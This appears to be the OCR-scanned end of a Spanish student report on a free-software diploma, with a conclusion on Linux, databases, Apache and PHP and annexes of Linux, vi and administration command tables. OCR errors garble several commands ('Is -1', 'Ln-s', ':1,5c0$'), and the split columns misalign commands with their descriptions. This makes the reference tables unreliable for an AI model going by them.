software libre, porque es el mas compatible con todas las herramientas libres. Por ello es
importante saber manejarlo para poder implementar diversas herramientas, como las que se
vieron a lo largo del diplomado.

Las bases de datos son basicas cuando se quiere crear una aplicacién que almacene,
organice y muestre grandes cantidades de informacion. Existen muchos manejadores de bases
de datos que permiten hacerlo pero la mayoria son muy costosos y algunos un tanto
complicados de utilizar. En este informe se repasaron los fundamentos de 2 de los
manejadores mas utilizados actualmente, por su confiabilidad y estabilidad. En el capitulo II se
decidié utilizar el manejador MySQL por ser el mas conocido, aunque también se puede
contemplar el uso de PostgreSQL en la aplicacion.

Los servidores WWW no pueden faltar si se quiere realizar programas que funcionen en
red, como el que se describi6 en el capitulo II, y Apache es uno de los mejores por su facilidad
de uso y por la cantidad de documentacién que se puede encontrar de él. Para el buen
funcionamiento de los programas que correran en este manejador, es importante que se realice
una buena configuracion.

La seguridad es bésica para poder defenderse de posibles ataques que reciba el servidor
y que pueden destruir la informacién que las aplicaciones manejan y con la cual funcionan.
Por lo anterior es bueno estar informado de cuales son los tipos de ataque que se pueden
recibir y de que manera se puede dificultar que realicen algin dafio.

Los lenguajes de programacion son una de las partes més importantes para la creacion
de programas dindmicos que funcionan en red, ya que si s6lo se utilizara HTML los programas
no podrian enlazarse con las bases de datos y estarian muy limitados a sélo mostrar
informacion estatica. Es por esto que se repaso y utiliz6 el lenguaje de programaciéon PHP en
este trabajo, que se encuentra entre los mejores lenguajes de programacion existentes.
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En general el diplomado proporcion6 bases fundamentales para iniciarse como
disefiador y programador de sistemas basados en software libre, gracias a la experiencia
adquirida en la realizacién de sistemas que se acercan mucho a lo que se requiere para la
resoluciéon de problemas, un ejemplo de ello son los proyectos descritos al final de algunos de

los médulos de la primera parte de este informe, pero principalmente esto se ejemplifica con el
proyecto descrito en la segunda parte.

Al término de este informe se ha logrado listar la mayor parte de los conceptos
adquiridos a lo largo de los médulos que conforman el diplomado que titula este trabajo.
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ANEXOS

Resumen de comandos bdsicos de Linux

COMANDO

date
cal

uname —-a

man
Is -1
clear
who
whoami
adduser
useradd
passwd
ssh
mkdir
Cd

poweroff
init 0
halt
userdel
chfn
chsh
Cp-r
Rm -r
echo
chmod
Ln-s
Ln

DESCRIPCION

Muestra la fecha actual.
Muestra un calendario del mes y afio deseados.

Nos dice el sistema presente en el que estamos tecleando el

comando.

Ayuda de los comandos.

Lista directorios y archivos existentes.
Limpia la pantalla.

Nos lista a los usuarios que estan logeados.

Nos muestra caracteristicas de nuestro propio usuario.

Crea cuentas de usuario.

Crea cuentas de usuarios sin preguntar detalles.
Cambia passwords.

Hace conexiones remotas.

Crea directorios.

Cambia de directorio.

Nos dice en que directorio estamos.
Cambia de nombre a directorios o archivos.
Mueve directorios o archivos de lugar.
Borra directorios vacios.

Muestra el contenido de un archivo.

Muestra el contenido de un archivo por paginas.

Copia archivos.

Apaga el sistema.

Apaga el sistema.

Apaga el sistema.

Borra usuarios.

Cambia el campo GECOS.

Cambia el shell de un usuario.

Copia directorios con todo su contenido.
Borra directorios con todo su contenido.

Nos dice lo que significa el pardmetro pasado para el shell.

Cambia permisos.
Crea ligas suaves.
Crea ligas duras.

Comandos para utilizar Vi

EJEMPLO

date
cal 12 2005

uname -a

man pwd

Is -1

clear

who

whoami

adduser juan

useradd pedro

passwd internet09

ssh internet09@132.248.75.120
mkdir hola

cd hola

pwd

mv ~/hola ~/adios

mv ~/hola ~/practica/hola
rmdir hola

cat archivin.txt

more archivon.txt

cp ./../archivin.txt

./ archivin.txt

poweroff

init 0

halt

userdel paco

chfn paco

chsh paco

cp -r ~/cosa/prueba/ ~
rm -r ~/practica/numerol/
echo ~

chmod 777 archivin

In -s archivon ligasuavel
In archivucho ligadural

A continuacion se listan los diferentes comandos que nos permiten movernos en Vi y realizar diversas

acciones:
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COMANDO SIGNIFICADO

Desplazamiento del cursor

[u—

Mueve el cursor un caracter a la derecha.

h Mueve el cursor un caracter a la izquierda.

j Mueve el cursor un caracter hacia abajo.

k Mueve el cursor un caracter hacia arriba.

w Mueve el cursor hasta la palabra siguiente.

b Mueve el cursor hasta la palabra anterior.

e Mueve el cursor hasta el final de la palabra.

G Mueve el cursor hasta la dltima linea del archivo.
$ Mueve el cursor hasta el final de la linea.
ctrl+f Mueve el cursor hacia delante una pantalla.
ctrl+b Mueve el cursor hacia atrds una pantalla.
ctrl+d Mueve el cursor hacia delante media pantalla.
ctrl+u Mueve el cursor hacia atrds media pantalla.

Anadir texto

Anade texto después del cursor.
Afade texto al final de la linea.
Afiade texto antes del cursor.
Anade texto al principio de la linea.
Abre una linea después de la actual.
Abre una linea antes de la actual.

0o == no

Borrar texto

X Borra el caracter actual.

d+d Borra la linea actual.

d+w Borra la palabra actual.

D Borra desde el cursor hasta el final de la linea.

Comandos especiales.

Repite el altimo comando.
u Deshace el altimo comando.
U Deshace las instrucciones realizadas en la linea actual.
J Une la siguiente linea al final de la linea actual.
:set showmode Activa el indicador del modo.

:set number Activa la aparicién de los nimeros al inicio de la linea.
:set nonumber Desactiva la aparicion de los ntimeros de linea.

:set list Activa la visibilidad de todos los caracteres.

:set nolist Desactiva la visibilidad de todos los caracteres.

Mover lineas

#d Corta y coloca # lineas en el buffer.
) Inserta el contenido del buffer después de la linea actual.
P Inserta el contenido del buffer antes de la linea actual.
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Rangos

#d Borra la linea que se encuentra en #
:5,10d Borra de la linea 5 a la 10.

:1,5c0$ Copia de la linea 1 ala 5 al final del archivo.
:1,5c015Copia de la linea 1 a la 5 en la linea 15.

:1,5mol5 Mueve de la linea 1 ala 5 a la linea 15.
:.,10co$ Desde donde se encuentra el cursor hasta la linea 10 copia y pega al final.
Buscar
:/ palabra Busca la palabra solicitada hacia delante.
/ Repite la ultima busqueda.
?palabra Hace la bisqueda de la palabra desde donde se encuentra el cursor hacia el inicio del
documento.
? Repite dltima bisqueda.
Remplazar

rangos remplazo Reemplaza el texto.

:r archivo Copia el contenido de otro archivo en la posicién donde se encuentra el cursor dentro del
archivo que estamos trabajando.
Salir de vi
q! Salir sin guardar cambios.
'wq Guarda los cambios y sale del programa.
vi-r Inicia vi recuperando el dltimo archivo que no fue cerrado apropiadamente desde vi.

vi-R archivo  Abre el archivo en modo sélo de lectura.
:w archivo Guarda archivo.

Resumen de comandos titiles para la administracion de Linux

COMANDOS
Startx

init #
runlevel

liloconfig

lilo -t

Lilo

shutdown -h now
shutdown -r now
shutdown -rt #

shutdown -c

adduser nombre_usuario

useradd nombre_usuario

DESCRIPCION

Inicia la interfaz grafica.

Cambia de modo de arranque.

Muestra el modo actual y anterior de
arranque.

Inicia la configuracién de lilo.

Checa la integridad del archivo lilo.conf.
Instala lilo.

Apaga el sistema.

Reinicia el sistema.

Reinicia en # segundos.

Cancela alguna programacién hecha con
este mismo comando.

Agrega un usuario en los archivos
passwd y shadow. Ademaés crea su
/home/usuario.

Agrega un usuario solo en al archivo
passwd.
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EJEMPLO
startx

init 0
runlevel

liloconfig

lilo -t

lilo

shutdown -h now
shutdown -r now
shutdown -rt 60

shutdown -c

adduser pepito

useradd juanito
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chown -R usuario:grupo archivo
userdel nombre_usuario

userdel -r nombre_usuario

groupadd nombre_grupo
groupdel nombre_grupo
passwd -g nombre_grupo
login nombre_usuario

sg nombre_grupo

tar -zxvf nombre_archivo

installpkg nombre_paquete
removepkg nombre_paquete
upgradepkg nombre_paquete
pkgtool

mkfs tipo_formato -c disco_duro

xorgeonfig

mouseconfig

md5sum nombre_paquete
netconfig

hostname -i

ifconfig

Nmap localhost

Ps
Free

netstat -c

Cambia de duefio y de grupo a un
archivo.

Borra usuarios de los archivos passwd y
shadow pero deja su home.

Borra un usuario del passwd y del
shadow y elimina su home.

Agrega grupos.

Borra grupos.

Cambia de contrasefia al grupo.

Permite logearse como otro usuario.
Cambia de grupo si se pertenece a varios.
Descomprime y desempaqueta un
archivo.

Instala paquetes con extension .tgz.
Desinstala paquetes.

Instala paquetes de actualizacion.

Inicia herramienta para instalar paquetes.
Da formato a particiones.

Inicia configuracién del monitor, teclado
y mouse.

Inicia configuraciéon del mouse.

Saca la llave de algtin paquete.

Inicia la configuracién de la tarjeta de red.

Muestra la IP de la méaquina.

Muestra datos de la tarjeta de red.
Muestra los puertos abiertos de la
maquina.

Lista los procesos corrientes.

Muestra informacién de la memoria.
Muestra quien esta conectado al servidor
y su estado.
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Chown -R pedrito:pumas
archivol.txt

userdel paquito

userdel -r anita

groupadd ejecutivos
groupdel ejecutivos
passwd -g obreros
login adriana

sg capturistas

tar -zxvf archivo2.tar.gz

installpkg php5.tgz
removepkg php5
upgradepkg

pkgtool

mkfs ext3 -c /dev/hda

Xorgconfig

mouseconfig
md5sum staroffice
netconfig
hostname -i
ifconfig

nmap localhost

Ps
Free

netstat -c
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TEXTOS DE APOYO

Jack Tackett, Jr.,Steven Burnett. Linux. 4a. edicion. Prentice Hall. 2000. Espafia.
Luis de Salvador. Introduccién al HTML. Espana.

Rafael Martinez. Manual de PHP.
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